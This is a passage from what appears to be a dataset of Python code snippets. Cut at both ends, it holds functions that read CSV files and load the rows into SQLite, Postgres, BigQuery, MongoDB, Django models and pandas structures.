self.column_types\n\n instance.column_num = instance.tables[0].column_num = in_column_num\n for i in range(instance.column_num):\n instance.tables[0].names.append(in_column_name[i])\n instance.tables[0].types.append(Type.getType(in_column_type[i].lower())) #getType is a static method\n instance.tables[0].origins = [i for i in range(instance.tables[0].column_num)]\n \n instance.tuple_num = instance.tables[0].tuple_num = table_origin.shape[0] # the number of rows\n for i in range(instance.tables[0].column_num):\n if instance.tables[0].types[i] == 3: #if there is date type column in csv,convert into datetime format\n col_name = table_origin.columns[i]\n col_type = self.column_types[i]\n self.csv_handle_changedate(col_name,col_type)\n \n #change table column name with table_info column_names (for date type columns)\n for i in range(len(table_origin.columns)):\n table_origin.rename(columns={ table_origin.columns[i] : in_column_name[i] }, inplace=True) \n instance.tables[0].D = table_origin.values.tolist() #dataframe to list type and feed to D(where to store all the table info )\n return instance","def convert_csv_to_SQLite3(self,\n csv_path: str=None, # Path to .csv \n destination: str=None, # Where to create .db\n db_name: str=None, # Database name\n table_name: str=None, # table name\n **kwargs # Custom arguments for reader and writter\n ):\n # With scribe reader, read a .csv \n # **kwargs, are used in params in the subclass Scibe_File_Writter\n # **Kwargs Over-write convert_csv_to_db params\n # Inherits from scribe_readers.Scribe_File_Reader\n self.read_from_csv(csv_path, **kwargs) # Inherits from scribe_readers.Scribe_File_Reader\n if db_name != None:\n destination = f\"{destination}\\{db_name}.db\"\n self.db_name = db_name\n conn = self.create_sqlite_connection(destination) # Inherits from scribe_writers_Scribe_Scribe_SQLite_Writer\n # Create connection also creates new db if it does not exist.\n self.create_new_sqlite_table(conn=conn,\n schema=self.dtypes,\n table_name=f\"tbl_{table_name}\",\n close_conn =False)\n \n \"\"\"Insert data into SQLite database\"\"\"\n\n table_name=f\"tbl_{table_name}\"\n self.insert_into_sqlite_table(conn,\n csv_path,\n table_name,\n self.shape,\n self.delimiter)","def get_data(self, csv_file):\n pass","def loadTaxi(file):\n arr = []\n with open(file, newline='') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n row['fare_amount'] = float(row['fare_amount'])\n row['pickup_longitude'] = float(row['pickup_longitude'])\n row['pickup_latitude'] = float(row['pickup_latitude'])\n row['dropoff_longitude'] = float(row['dropoff_longitude'])\n row['dropoff_latitude'] = float(row['dropoff_latitude'])\n row['pickup_datetime'] = datetime.strptime(\n row['pickup_datetime'], '%Y-%m-%d %H:%M:%S %Z')\n arr.append(row)\n\n inserted_ids = db.taxi.insert_many(arr).inserted_ids\n print(\"{} taxi docs inserted\".format(len(inserted_ids)))","def insert_data():\n table = create_new_table()\n filename = '/home/nineleaps/Downloads/covid_info_.csv'\n dataset_ref = client.dataset(table.dataset_id)\n table_ref = dataset_ref.table(table.table_id)\n job_config = bigquery.LoadJobConfig()\n job_config.source_format = bigquery.SourceFormat.CSV\n job_config.skip_leading_rows = 1\n job_config.autodetect = True\n with open(filename, \"rb\") as source_file:\n job = client.load_table_from_file(source_file, table_ref, job_config=job_config)\n job.result()\n print(\"Loaded {} rows into {}:{}.\".format(job.output_rows, table.dataset_id, table.table_id))","def import_csv(self, csvfileobject):\n # Clear previously stored info\n self._tracks = []\n self._selected = None\n\n for row in csvfileobject:\n if row[0] == \"T\":\n track = self.addTrack()\n track.properties = row\n elif row[0] == \"P\":\n period = self.addPeriod([0,1,'-'])\n period.properties = row","def import_data_helper(self): \n if len(self.components) == 1:\n hapi.fetch(TableName = self.tablename, M = self.components[0][0], I = self.components[0][1], numin = self.min_x, numax = self.max_x)\n else: \n global_id = []\n for c in self.components:\n global_id.append(hapi.ISO[c][0])\n hapi.fetch_by_ids(TableName = self.tablename, iso_id_list = global_id, numin = self.min_x, numax = self.max_x)","def _insert_data(self, query, columns):\n with open(self.file, encoding='utf8') as f:\n csvreader = csv.reader(f)\n next(csvreader) # skipping header\n for line in csvreader:\n line[5] = float(line[5])\n line[8] = int(line[8])\n line[3] = int(line[3])\n line[10] = int(line[10])\n self.session.execute(query, tuple(map(line.__getitem__, columns)))","def csv_reader2(file_obj):\n global grilles\n # le tableau qui contient les gagnants\n grilles = [list(map(int,rec[1:])) for rec in csv.reader(file_obj, delimiter=';')]","def csv_loader(csv_file):\n df = pd.read_csv(csv_file, sep=';', parse_dates=['Data_Alteraçao'])\n pd.set_option('display.float_format', '{:.0f}'.format)\n\n df = df.fillna(0)\n df = df.drop(columns=['Cod. Pareamento', 'Cod. UF', 'Sigla UF', 'Cod. Subarea',\n 'Nome Subarea', 'Cod. Municipio', 'Nome Municipio', 'Codigo Agencia',\n 'Nome Agencia', 'Cod. Setor', 'Cod. Logradouro CNEFE',\n 'Tipo Logradouro CNEFE', 'Titulo Logradouro CNEFE',\n 'Nome Logradouro CNEFE', 'Nome Tratado CNEFE', 'Tipo Logradouro DNE',\n 'Titulo Logradouro DNE', 'Nome Logradouro DNE', 'Nome Tratado DNE',\n 'Logradouro Completo DNE', 'Distancia', 'Cod. Match', 'Motivo Match',\n 'CEPs Face', 'Localidade Face',\n 'Alterar Logradouro para DNE?', 'Observaçao', 'SIAPE Alteração',\n 'Nome Alteraçao', 'Data_Alteraçao', 'Status', 'Unnamed: 33'])\n\n # df.astype({'CEP Logradouro CNEFE': 'int32'}).dtypes\n\n df['CEP'] = df['CEP'].str.replace(' ', '', regex=False)\n\n ceps_dne = []\n for index, row in df.iterrows():\n if type(row.CEP) == str:\n for cep in row.CEP.split(','):\n # print(index, cep)\n ceps_dne.append(int(cep))\n\n ceps_cnefe = df['CEP Logradouro CNEFE'].astype(int).tolist()\n ceps = ceps_dne + ceps_cnefe\n ceps = list(set(ceps))\n return pd.Series(ceps)","def CSV_Load_File( self, infilename ):\n print( 'Loading \"{}\"'.format(infilename) )\n IN = open( infilename, 'r' )\n standname = None\n laststand = None\n for L in IN:\n if( L[0:9] == 'Site/Plot' ): continue\n col = L.split( ',' )\n standname = col[0]\n year = int(col[1])\n #if( re.search( '-', standname ) != None ):\n # loc = re.search( '-', standname )\n # year = int(standname[loc.start()+1:])\n # standname = standname[0:loc.start()]\n #print standname, year\n if( (standname != None ) & (standname != laststand) ): self.Data.Stand[standname] = StandData( standname )\n (treeno, species, dbh, ht, live, status, cclass, tpa) = \\\n (int(col[2]), col[3], float(col[4]), float(col[5]), col[6], col[7], int(float(col[8])), float(col[9]))\n if( OPT['d'] ):\n if( dbh > 10.0 ): dbh *= 1.25\n if( dbh > 15.0 ): dbh *= 1.50\n for t in range( 1, int( math.ceil( tpa ))+1, 1 ):\n ntree = len( self.Data.Stand[standname].Tree ) + 1\n self.Data.Stand[standname].Tree[ntree] = TreeData( species, TreeNumber=treeno )\n self.Data.Stand[standname].Tree[ntree].Year[year] = MeasurementData( dbh, ht, '', 1, live, status, cclass )\n laststand = standname\n IN.close()","def parse_batch_db_entry(row) -> PlantBatch:\n\n # We need to reassign to a new variable since dicts are immutable\n print(row)\n row0 = ast.literal_eval(row[0])\n row1 = ast.literal_eval(row[1])\n row2 = ast.literal_eval(row[2])\n\n plant: Plant = Plant(name=row0['name'], family_name=row0['family_name'], metadata=row0['metadata'])\n location: Location = Location(row1['name'], row1['area'], Climate(row1['climate_type']))\n tray: Tray = Tray(row2['tray_type'], row2['footprint'], row2['capacity'])\n n_trays: int = int(row[3])\n planting_time: datetime = datetime.fromisoformat(row[4])\n\n batch: PlantBatch = PlantBatch(plant, location, tray, n_trays, planting_time)\n\n return batch","def __init__(self, csv_file):\n self.database = []\n\n with open(csv_file, \"r+\", encoding=\"utf-8\", newline=\"\") as file:\n reader = csv.DictReader(file)\n counter = 1\n for row in reader:\n if row[\"Typ\"] == \"Book\":\n object = Book(id=row[\"ID\"], name=row[\"Nazwa\"], price=20, amount=row[\"Ilość\"],\n created_at=row[\"Data dodania\"], last_buy_at=row[\"Data ostatniego zakupu\"],\n author=row[\"Autor\"], number_of_pages=row[\"Ilość stron\"], pic=row['Link do miniaturki'])\n self.database.append(object)\n counter += 1\n elif row[\"Typ\"] == \"Ebook\":\n object = Ebook(id=row[\"ID\"], name=row[\"Nazwa\"], price=20, amount=row[\"Ilość\"],\n created_at=row[\"Data dodania\"], last_buy_at=row[\"Data ostatniego zakupu\"],\n author=row[\"Autor\"], number_of_pages=row[\"Ilość stron\"],\n pic=row['Link do miniaturki'],\n format=row[\"Format\"])\n self.database.append(object)\n counter += 1","def _load_data(self):\n\n def __correct_car_make(car_make):\n \"\"\" Corrects given make names to a standard make name. \"\"\"\n ## define model corrections\n correct_makes = {\n 'chevroelt': 'chevrolet',\n 'chevy': 'chevrolet',\n 'maxda': 'mazda',\n 'mercedes-benz': 'mercedes',\n 'toyouta': 'toyota',\n 'vokswagen': 'volkswagen',\n 'vw': 'volkswagen'\n }\n ## return corrected make\n return correct_makes[car_make] if car_make in correct_makes.keys() else car_make\n\n logger.debug('checking auto-mpg.data.txt')\n if not path.exists('auto-mpg.data.txt'):\n ## file not present, get it\n logger.debug('getting auto-mpg.data.txt')\n self._get_data()\n if not path.exists('auto-mpg.clean.txt'):\n ## file not present, clean it\n self._clean_data()\n \n ## we got the data and we cleaned it\n logger.debug('checking auto-mpg.clean.txt')\n try:\n with open('auto-mpg.clean.txt', 'r') as clean_data:\n logger.debug('auto-mpg.clean.txt exists')\n ## counter for auto objects\n counter = 0\n logger.debug('Parsing auto-mpg.clean.txt into AutoMPG objects')\n for auto_record in csv.reader(clean_data, delimiter= ' ', skipinitialspace= True):\n ## split the car name into 2 tokens\n split = auto_record[8].replace('\\'', '').split(' ', 1)\n ## handle the case for 'subaru'\n if len(split) < 2:\n make = f'{split[0]}'\n auto = Record(auto_record[0], auto_record[6], __correct_car_make(make), '')\n elif len(split) == 2:\n make = f'{split[0]}'\n model = f'{split[1]}'\n auto = Record(auto_record[0], auto_record[6], __correct_car_make(make), model)\n counter += 1\n ## append the auto object\n self.data.append(AutoMPG(auto.make, auto.model, auto.year, auto.mpg))\n except Exception as e:\n logger.info(f'Error occurred: {e}')","def ingest_product_csv(csv_path):\n # Create a CSV import generator (next yields one db row)\n import_generator = import_csv_gen(csv_path)\n # Skip over the title row\n next(import_generator)\n # Iterate over all other rows\n while True:\n try:\n data = next(import_generator)\n if len(data) != 4:\n logger.error(f'Data with incorrect item count: {len(data)}')\n continue\n # extract items from list and add document to database\n with Connection():\n product = Product(\n product_id=data[PROD_ID],\n description=data[PROD_DESC],\n product_type=data[PROD_TYPE],\n quantity_available=data[PROD_QTY]\n )\n product.save() # This will perform an insert\n except StopIteration:\n break","def load_data():\n\tscores = pd.read_csv('../data/user_assessment_scores.csv')\n\tviews = pd.read_csv('../data/user_course_views.csv')\n\ttags = pd.read_csv('../data/course_tags.csv')\n\tinterests = pd.read_csv('../data/user_interests.csv')\n\n\tdb_file = '../db/usersim.sqlite'\n\ttry:\n\t\tengine = sqlite3.connect(db_file, timeout=10)\n\t\tscores.to_sql('scores', engine, if_exists='replace', index=False, index_label='user_handle')\n\t\tviews.to_sql('views', engine, if_exists='replace', index=False, index_label='user_handle')\n\t\ttags.to_sql('tags', engine, if_exists='replace', index=False, index_label='course_id')\n\t\tinterests.to_sql('interests', engine, if_exists='replace', index=False, index_label='user_handle')\n\texcept:\n\t\tprint('Error occured while inserting into database')\n\tfinally:\n\t\tif engine:\n\t\t\tengine.close()\n\treturn scores, views, tags, interests","def read_csv():","def populate_from_samples():\n\n # Tags\n try:\n for row in get_csv_data('samples/tags.csv'):\n tag = Tag(name=row['Name'], desc=row['Description'])\n db_session.add(tag)\n finally:\n db_session.commit()\n\n # Organizations\n try:\n for row in get_csv_data('samples/organizations.csv'):\n org = Organization(desc=row['Name'])\n db_session.add(org)\n finally:\n db_session.commit()\n\n # Departments\n try: \n for row in get_csv_data('samples/departments.csv'):\n org = db_session.query(Organization).filter_by(desc=row['Organization']).one()\n dpt = Department(desc=row['Department'], org=org)\n\n db_session.add(dpt)\n finally:\n db_session.commit()\n\n # Application types\n try:\n for row in get_csv_data('samples/apptypes.csv'):\n apptype = AppType(desc=row['Name'])\n db_session.add(apptype)\n finally:\n db_session.commit()\n\n # Applications\n try:\n for row in get_csv_data('samples/applications.csv'):\n apptype = db_session.query(AppType).filter_by(desc=row['AppType']).one()\n dpt = db_session.query(Department).join(Organization).\\\n filter(Department.desc==row['Department']).\\\n filter(Organization.desc==row['Organization']).\\\n one()\n\n app = App(desc=row['Application'], \n app_type=apptype, \n department=dpt,\n version=row['Version'],\n environment=row['Environment'],\n platform=row['Platform']\n )\n\n db_session.add(app)\n finally:\n db_session.commit()\n\n # Connections and Headers\n try:\n for row in get_csv_data('samples/connections.csv'):\n conn = Connection(conn_type=row['Type'], url=row['URL'], port=row['Port'], answer=row['Answer'])\n header = Header(conn_id=conn.id, header=row['Header'], value=row['Value'], conn=conn)\n\n db_session.add(conn)\n db_session.add(header)\n finally:\n db_session.commit()","def insert_into_sql(chunk):\n bulk_list = []\n for row in chunk:\n bulk_list.append(StockData(\n date=str(row[0])[0:4] + '-' + str(row[0])[4:6] + '-' + str(row[0])[6:8],\n code=row[1],\n code_name=row[2],\n d1_diff_rate=row[3],\n close=row[4],\n open=row[5],\n high=row[6],\n low=row[7],\n volume=row[8],\n clo5=row[9],\n clo10=row[10],\n clo20=row[11],\n clo40=row[12],\n clo60=row[13],\n clo80=row[14],\n clo100=row[15],\n clo120=row[16],\n clo5_diff_rate=row[17],\n clo10_diff_rate=row[18],\n clo20_diff_rate=row[19],\n clo40_diff_rate=row[20],\n clo60_diff_rate=row[21],\n clo80_diff_rate=row[22],\n clo100_diff_rate=row[23],\n clo120_diff_rate=row[24],\n yes_clo_5=row[25],\n yes_clo_10=row[26],\n yes_clo_20=row[27],\n yes_clo_40=row[28],\n yes_clo_60=row[29],\n yes_clo_80=row[30],\n yes_clo_100=row[31],\n yes_clo_120=row[32],\n vol5=row[33],\n vol10=row[34],\n vol20=row[35],\n vol40=row[36],\n vol60=row[37],\n vol80=row[38],\n vol100=row[39],\n vol120=row[40],\n ))\n StockData.objects.bulk_create(bulk_list)\n return bulk_list","def load_data(self):","def insert_data(data_type, data, db_cursor, database):\n for each_file in data:\n with open(f'{DATA_PATH}{each_file}.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n for row in csv_reader:\n # do not process the header row, ignore line 0.\n if line_count != 0:\n if data_type == 'stadium_team':\n pass\n stadium_name = row[1].upper()\n x_coord = float(row[3])\n y_coord = float(row[2])\n team = row[0].upper()\n sql = f'INSERT INTO stadium (stadium_name, x_coord, y_coord) ' \\\n f'VALUES (\"{stadium_name}\", {x_coord}, {y_coord})'\n db_cursor.execute(sql)\n database.commit()\n sql = f'INSERT INTO team (name_pk, stadium_id_fk) ' \\\n f'SELECT \"{team}\", stadium_id_pk ' \\\n f'FROM stadium ' \\\n f'WHERE stadium_name = \"{stadium_name}\"'\n db_cursor.execute(sql)\n database.commit()\n elif data_type == 'game':\n home_team = row[3].upper()\n away_team = row[4].upper()\n season = row[0]\n home_team_score = row[5]\n away_team_score = row[6]\n sql = f'INSERT INTO game (home_team_id_pk_fk, away_team_id_pk_fk, season_pk, home_team_score, away_team_score) ' \\\n f'SELECT team1.team_id_pk, team2.team_id_pk, {season}, {home_team_score}, {away_team_score} ' \\\n f'FROM team team1, team team2 ' \\\n f'WHERE team1.name_pk = \"{home_team}\" ' \\\n f'AND team2.name_pk = \"{away_team}\"'\n db_cursor.execute(sql)\n database.commit()\n elif data_type == 'season_overview':\n team = row[2]\n season = row[0]\n position = row[1]\n goals_for = row[7]\n goals_against = row[8]\n wins = row[4]\n draws = row[5]\n losses = row[6]\n sql = f'INSERT INTO season_overview (team_id_pk_fk, season_pk, position, goals_for, goals_against, wins, draws, losses) ' \\\n f'SELECT team.team_id_pk, {season}, {position}, {goals_for}, {goals_against}, {wins}, {draws}, {losses} ' \\\n f'FROM team ' \\\n f'WHERE name_pk = \"{team}\" '\n db_cursor.execute(sql)\n database.commit()\n else:\n print('Invalid data type sent in!')\n raise sys.exit\n line_count += 1","def ingest_rental_csv(csv_path):\n # Create a CSV import generator (next yields one db row)\n import_generator = import_csv_gen(csv_path)\n # Skip over the title row\n next(import_generator)\n # Iterate over all other rows\n while True:\n try:\n data = next(import_generator)\n if len(data) != 2:\n logger.error(f'Data with incorrect item count: {len(data)}')\n continue\n # extract items from list and add document to database\n with Connection():\n rental = Rental(\n product_id=data[RENTAL_PROD_ID],\n user_id=data[RENTAL_USER_ID]\n )\n rental.save() # This will perform an insert\n except StopIteration:\n break","def _import_cryptocom_double_entries(self, data: Any, double_type: str) -> None:\n double_rows: Dict[Any, Dict[str, Any]] = {}\n debited_row = None\n credited_row = None\n for row in data:\n if row['Transaction Kind'] == f'{double_type}_debited':\n timestamp = deserialize_timestamp_from_date(\n date=row['Timestamp (UTC)'],\n formatstr='%Y-%m-%d %H:%M:%S',\n location='crypto.com',\n )\n if timestamp not in double_rows:\n double_rows[timestamp] = {}\n double_rows[timestamp]['debited'] = row\n elif row['Transaction Kind'] == f'{double_type}_credited':\n timestamp = deserialize_timestamp_from_date(\n date=row['Timestamp (UTC)'],\n formatstr='%Y-%m-%d %H:%M:%S',\n location='crypto.com',\n )\n if timestamp not in double_rows:\n double_rows[timestamp] = {}\n double_rows[timestamp]['credited'] = row\n\n for timestamp in double_rows:\n credited_row = double_rows[timestamp]['credited']\n debited_row = double_rows[timestamp]['debited']\n if credited_row is not None and debited_row is not None:\n description = credited_row['Transaction Description']\n notes = f'{description}\\nSource: crypto.com (CSV import)'\n # No fees here\n fee = Fee(ZERO)\n fee_currency = A_USD\n\n base_asset = Asset(credited_row['Currency'])\n quote_asset = Asset(debited_row['Currency'])\n pair = TradePair(f'{base_asset.identifier}_{quote_asset.identifier}')\n base_amount_bought = deserialize_asset_amount(credited_row['Amount'])\n quote_amount_sold = deserialize_asset_amount(debited_row['Amount'])\n rate = Price(abs(base_amount_bought / quote_amount_sold))\n\n trade = Trade(\n timestamp=timestamp,\n location=Location.CRYPTOCOM,\n pair=pair,\n trade_type=TradeType.BUY,\n amount=base_amount_bought,\n rate=rate,\n fee=fee,\n fee_currency=fee_currency,\n link='',\n notes=notes,\n )\n self.db.add_trades([trade])","def load_data(self) -> None:","def parse_csv_row(self, row):\n\n for key in self.field_map:\n if self.field_map[key] is not None:\n if key == 'marking':\n self.obstacle_data[key] = self.get_marking_value(row[self.field_map[key]].strip())\n elif key == 'lighting':\n self.obstacle_data[key] = self.get_lighting_value(row[self.field_map[key]].strip())\n elif key == 'obst_type':\n self.obstacle_data['obst_type_id'] = self.get_obstacle_type_id(row[self.field_map[key]].strip())\n else:\n self.obstacle_data[key] = row[self.field_map[key]].strip()","def csv_dict_reader(file_obj):\r\n with open('heatmap_data_10_200_out.csv','wb') as file:\r\n\t reader = csv.DictReader(file_obj, delimiter=',')\r\n\t for line in reader:\r\n\t \t# data = \"{location: new google.maps.LatLng(\" + str(line[\"latitude\"]) + \", \" + str(line[\"longitude\"]) + \") , weight: \" + str(float(line[\"predicted_price\"])/1000) + \" }, \"\r\n\t \tdata = line[\"predicted_price\"] + \";\" + str(line[\"latitude\"]) + \"; \" + str(line[\"longitude\"]) \r\n\t \t# data = \"new google.maps.LatLng(\" + str(line[\"latitude\"]) + \", \" + str(line[\"longitude\"]) + \"),\"\r\n\t \tprint data\r\n\t # print(line[\"latitude\"]),\r\n\t # print(line[\"longitude\"])\r\n\r\n\t \r\n\t \tfile.write(data)\r\n\t \tfile.write('\\n')","def create_dat_from_csv(windgrid_file, DAT_header, output_file, wind_field='gust_mph', latitude_field='lat', longitude_field='lon'):\n df = pd.read_csv(windgrid_file)\n df['geometry'] = [Point(x, y) for x, y in zip(\n df[longitude_field], df[latitude_field])]\n gdf = gpd.GeoDataFrame(df, geometry='geometry')\n create_dat_from_geodataframe(\n gdf, DAT_header, output_file, wind_field=wind_field)","def execute(self,context):\n postgres = PostgresHook(postgres_conn_id = self.postgres_conn_id)\n conn = postgres.get_conn()\n cursor = conn.cursor()\n start = datetime.now()\n logging.info(\"Clearing data for each load\")\n postgres.run(\"TRUNCATE TABLE {}\".format(self.table))\n\n logging.info(f\"Loading table {self.table}\")\n sql =f\"COPY {self.table} FROM STDIN DELIMITER ',' CSV HEADER\"\n cursor.copy_expert(sql, open(self.path, \"r\"))\n conn.commit()\n logging.info(f\"Loaded table {self.table}\")\n end = datetime.now()\n time_taken = (end-start)\n logging.info(f\"Time taken:{time_taken}\")","def DataLoader():\n #importing data\n House_Prices_Uncleaned = pd.read_csv(\"zillow_data/Zip_zhvi_uc_sfrcondo_tier_0.33_0.67_sm_sa_mon.csv\")\n #Cleaning house prices data\n\n House_Prices=pd.DataFrame(House_Prices_Uncleaned[\"RegionName\"][House_Prices_Uncleaned[\"CountyName\"]==\"New York County\"])\n\n House_Prices[\"Price\"]=pd.DataFrame(House_Prices_Uncleaned[\"2020-09-30\"])\n\n House_Rent_Uncleaned= pd.read_csv(\"zillow_data/Zip_ZORI_AllHomesPlusMultifamily_SSA.csv\")\n\n #Cleaning house rent data\n House_Rent=pd.DataFrame(House_Rent_Uncleaned[\"RegionName\"])\n House_Rent[\"Rent\"]=pd.DataFrame(House_Rent_Uncleaned[\"2020-09\"])\n\n return House_Prices, House_Rent","def loadCSVFile (file, sep=\";\"):\n lst = lt.newList(\"ARRAY_LIST\") #Usando implementacion arraylist\n #lst = lt.newList() #Usando implementacion linkedlist\n print(\"Cargando archivo ....\")\n t1_start = process_time() #tiempo inicial\n dialect = csv.excel()\n dialect.delimiter=sep\n try:\n with open(file, encoding=\"utf-8\") as csvfile:\n spamreader = csv.DictReader(csvfile, dialect=dialect)\n for row in spamreader: \n lt.addLast(lst,row)\n except:\n print(\"Hubo un error con la carga del archivo\")\n t1_stop = process_time() #tiempo final\n print(\"Tiempo de ejecución \",t1_stop-t1_start,\" segundos\")\n return lst","def __load_gt(df_table, df_idx, p_csv):\n idx_start = df_idx\n with open(p_csv, 'rb') as f_csv:\n for line in f_csv:\n # decoding french letters and mapping them to UTF-8\n str_line = line.decode('utf-8', 'replace').strip()\n # gt annotations may end with empty lines\n if str_line == '':\n continue\n # parsing line\n img_path, transcript = str_line.split(self.sep)\n img_path = img_path.encode('ascii', 'ignore').decode('ascii', 'ignore')\n # parsing french to ASCII\n transcript = transcript#.lower()\n transcript = self.to_ascii(transcript)\n # determine img path\n img_path = os.path.join(self.imgs_path, img_path)\n # filling table\n # if self.lower_case:\n # transcript = transcript.lower()\n if not os.path.isfile(img_path):\n pass\n # raise FileNotFoundError('No image exists at {}'.format(img_path))\n warnings.warn('No image exists at {}'.format(img_path))\n continue\n if not self.lazy_loading:\n self.form_imgs[img_path] = np.array(Image.open(img_path)).astype(np.uint8)\n # storing relevant data\n df_table['transcription'].append(transcript)\n df_table['form_path'].append(img_path)\n df_table['word_id'].append(df_idx)\n df_table['bbox'].append([])\n df_idx += 1\n return df_table, df_idx, list(range(idx_start, df_idx))","def read_all_odbsql_stn_withfeedback(dataset, odbfile):\n columns, kinds, tdict = make_odb_header(odbfile, dataset) \n try: \n t=time.time() \n try:\n f=gzip.open(odbfile) \n except:\n print(odbfile, 'The zipped ODB file was not found !')\n return\n \n #d=['date@hdr','time@hdr','statid@hdr','vertco_reference_1@body','varno@body','reportype','andate','antime',\n # 'obsvalue@body','fg_depar@body','an_depar@body','biascorr@body','sonde_type@conv','collection_identifier@conv','source@hdr']\n \n # had to remove 'collection_identifier@conv' to make it work with 1, 3188, 1759, 1761 \n \n tdict['sensor@hdr']=numpy.float32\n tdict['ppcode@conv_body']=numpy.float32\n \n '''\n d=['date@hdr','time@hdr','statid@hdr','vertco_reference_1@body','varno@body','lon@hdr','lat@hdr','seqno@hdr',\n 'obsvalue@body','source@hdr' , 'vertco_type@body']\n \n if 'fg_depar@body' in columns: # creating the colkumns for era5fb \n d=d+['fg_depar@body','an_depar@body','biascorr@body','sonde_type@conv','reportype','andate','antime']\n '''\n \n# restrict feedback to certain columns \n #for c in columns:\n # if c not in d:\n # del tdict[c]\n \n #columns=d.copy()\n \n alldict=pd.read_csv(f,delimiter='\\t', usecols=columns, quoting=3,comment='#', skipinitialspace=True, dtype=tdict) #nrows=1000000)\n \n \"\"\" Case where erafb is not available \"\"\"\n if 'fg_depar@body' not in columns:\n alldict['fg_depar@body']=numpy.float32(numpy.NaN)\n alldict['an_depar@body']=numpy.float32(numpy.NaN)\n alldict['biascorr@body']=numpy.float32(numpy.NaN)\n alldict['sondetype@conv']=numpy.int32(-2147483648)\n alldict['reportype']=numpy.int32(-2147483648)\n \n #print(time.time()-t,sys.getsizeof(alldict)//1024//1024)\n idx=numpy.where(numpy.logical_or(alldict.reportype.values==16045,alldict.reportype.values==16068))[0]\n if len(idx)>0:\n \n #alldict.drop(index=alldict.index[idx],inplace=True)\n y=numpy.int64(alldict['date@hdr'].values)*1000000+alldict['time@hdr'].values\n x=numpy.unique(y)\n dropindex=[]\n for i in range(1,x.shape[0]):\n if x[i]-x[i-1]<60:\n idx=numpy.where(y==x[i-1])[0]\n if idx.shape[0]>0:\n dropindex.append(idx)\n else:\n print('empty index')\n if dropindex: \n dropindex = numpy.concatenate(dropindex).ravel()\n alldict.drop(index=alldict.index[dropindex],inplace=True)\n \n #print(time.time()-t) #,sys.getsizeof(alldict)//1024//1024)\n \n #idx=numpy.where(alldict.reportype.values==16045)[0]\n #if idx.shape[0]>0:\n #idy=numpy.where(numpy.logical_and(alldict.reportype.values!=16045,alldict.reportype.values!=16068))[0]\n #if idy.shape[0]>0:\n #idz=numpy.isin(alldict.andate.values[idy],alldict.andate.values[idx])\n #if numpy.sum(idz)>0:\n #alldict.drop(index=alldict.index[idy[idz]],inplace=True)\n \n #idx=numpy.where(alldict.reportype.values==16068)[0]\n #if idx.shape[0]>0:\n #idy=numpy.where(numpy.logical_and(alldict.reportype.values!=16045,alldict.reportype.values!=16068))[0]\n #if idy.shape[0]>0:\n #idz=numpy.isin(alldict.andate.values[idy],alldict.andate.values[idx])\n #if numpy.sum(idz)>0:\n #alldict.drop(index=alldict.index[idy[idz]],inplace=True)\n \n \n #print(time.time()-t,sys.getsizeof(alldict)//1024//1024)\n \n alldict['source_id'] = dataset.rjust(10)\n\n for c in alldict.columns:\n \n if type(alldict[c].iloc[0]) in [str,bytes]:\n l=alldict[c].shape[0]\n slen=len(alldict[c].values[0])\n alldict[c]=numpy.array(alldict.pop(c).values,dtype='S{}'.format(slen))\n #alldict[c]=numpy.string_(alldict[c])\n \n if type(alldict[c].iloc[0]) is numpy.int64:\n alldict[c]=numpy.int32(alldict[c])\n \n if type(alldict[c].iloc[0]) is numpy.float64:\n alldict[c]=numpy.float32(alldict[c])\n \n #print('after odb:',time.time()-t)\n \n except MemoryError:\n print('Reading ODB failed ! ' + odbfile)\n return alldict\n \n #print(odbfile,time.time()-t)#, sys.getsizeof(alldict))\n\n \n return alldict","def extract(self, return_data:bool=False):\n row_count = self.get_row_count()\n \n self.logger.info(f'Starting extract from {self.table_schema_name}')\n self.logger.info(f'Rows to extract: {row_count}')\n self.logger.info(\"Note: petl can cause log messages to seemingly come out of order.\")\n \n assert row_count != 0, 'Error! Row count of dataset in database is 0??'\n\n # Try to get an (arbitrary) sensible interval to print progress on by dividing by the row count\n if row_count < 10000:\n interval = int(row_count/3)\n if row_count > 10000:\n interval = int(row_count/15)\n if row_count == 1:\n interval = 1\n # If it rounded down to 0 with int(), that means we have a very small amount of rows\n if not interval:\n interval = 1\n\n self.logger.info('Initializing data var with etl.frompostgis()..')\n if self.with_srid is True:\n rows = etl.frompostgis(self.conn, self.table_schema_name, geom_with_srid=True)\n else:\n rows = etl.frompostgis(self.conn, self.table_schema_name, geom_with_srid=False)\n\n num_rows_in_csv = rows.nrows()\n\n if num_rows_in_csv == 0:\n raise AssertionError('Error! Dataset is empty? Line count of CSV is 0.')\n\n self.logger.info(f'Asserting counts match between db and extracted csv')\n self.logger.info(f'{row_count} == {num_rows_in_csv}')\n assert row_count == num_rows_in_csv\n\n \n # New assert as well that will fail if row_count doesn't equal CSV again (because of time difference)\n db_newest_row_count = self.get_row_count()\n self.logger.info(f'Asserting counts match between current db count and extracted csv')\n self.logger.info(f'{db_newest_row_count} == {num_rows_in_csv}')\n assert db_newest_row_count == num_rows_in_csv\n \n if return_data: \n return rows\n \n # Dump to our CSV temp file\n self.logger.info('Extracting csv...')\n try:\n rows.progress(interval).tocsv(self.csv_path, 'utf-8')\n except UnicodeError:\n self.logger.warning(\"Exception encountered trying to extract to CSV with utf-8 encoding, trying latin-1...\")\n rows.progress(interval).tocsv(self.csv_path, 'latin-1')\n\n self.check_remove_nulls()\n self.load_csv_to_s3(path=self.csv_path)","def _init_train_valid(self, csv_path, csv_sep, csv_names):\n # load groundtruth\n # last element following a dot is file's extension\n print('Loading data...') \n if csv_path.split('.')[-1] == 'cache':\n # load cache\n # Assumes that the cache contains a list of all the identities, a dictionary containing metadata about those identities and the number of samples contained in the cache.\n # The dictionary must have the same format as the 'groundtruth_metadata' dictionary that is built below.\n # dati che mi servono: identities, groundtruth_metadata, num_samples\n with open(csv_path, 'rb') as cache_file:\n cache = pickle.load(cache_file)\n self.identities = cache['identities']\n self.groundtruth_metadata = cache['groundtruth_metadata']\n self.num_samples = cache['num_samples']\n else:\n # Assumes for the provided csv the following structure:\n # Path, ID, Gender, Age, x_min(roi_origin_x), y_min(roi_origin_y), width(roi_width), height(roi_height)\n groundtruth = pd.read_csv(csv_path, sep=csv_sep, names=csv_names)\n # for each groundtruth row\n for gt_sample in groundtruth.iterrows():\n identity = gt_sample[1][\"ID\"]\n # this iteration is over all of the elements in groundtruth, so the same id can be encountered multiple times (same id associated to multiple images)\n if identity not in self.identities:\n self.identities.append(identity)\n # load identity's metadata\n id_data = {\n 'age': gt_sample[1][\"Age\"],\n 'roi': {\n 'upper_left_x': 